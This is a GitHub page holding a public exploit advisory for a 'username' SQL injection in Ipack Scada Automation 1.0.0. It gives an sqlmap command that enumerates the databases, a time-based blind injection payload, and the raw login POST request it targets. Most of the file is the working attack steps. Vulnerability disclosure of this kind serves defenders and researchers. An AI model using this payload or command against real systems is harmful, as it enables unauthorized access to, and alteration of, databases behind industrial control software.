

main

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cve / lpack-Scada-Automation.txt



paradessia Create lpack-Scada-Automation.txt

History

1 contributor

54 lines (39 sloc) 1.45 KB

...

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1 # Exploit Title: Ipack Scada Automation - 'username' SQL Injection
2 # Google Dork: -
3 # Date: 2021-11-12
4 # Exploit Author: Onurhan Endogdu
5 # Vendor Homepage: http://www.ipack.com.tr/
6 # Version: 1.0.0
7 # Tested on: -
8
9
10 1. Description:
11 -----
12
13 Ipack Scada Automation allows SQL Injection via parameter 'username'.
14 Exploiting this issue could allow an attacker to compromise
15 the application, access or modify data, or exploit latent vulnerabilities
16 in the underlying database.
17
18 2. Proof of Concept:
19 -----
20
21 In Burpsuite intercept the request from one of the affected pages with
22 'username' parameter and save it like 'example.txt' Then run SQLmap to extract the
23 data from the database:
24
25 sqlmap -r example.txt --risk=3 --level=3 --dbs --random-agent
26
27 3. Example payload:
28 -----
29
30 (time-based blind)
31
32 username=TEST' AND (SELECT 7204 FROM (SELECT(SLEEP(5)))t1rb)-- uiBw&password=TEST&is_ajax=1
33
34 4. Burpsuite request:
35 -----
36
37 POST /procedure_scripts/login_check.php HTTP/1.1
38 Host: 127.0.0.1
39 Content-Length: 42
40 Accept: */*
41 X-Requested-With: XMLHttpRequest
42 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36
43 Content-Type: application/x-www-form-urlencoded; charset=UTF-8
44 Origin: 127.0.0.1
45 Referer: 127.0.0.1
46 Accept-Encoding: gzip, deflate
47 Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
48 Connection: close
49
50 username=TEST&password=TEST&is_ajax=1
51
52
53
54 Best Regards.
```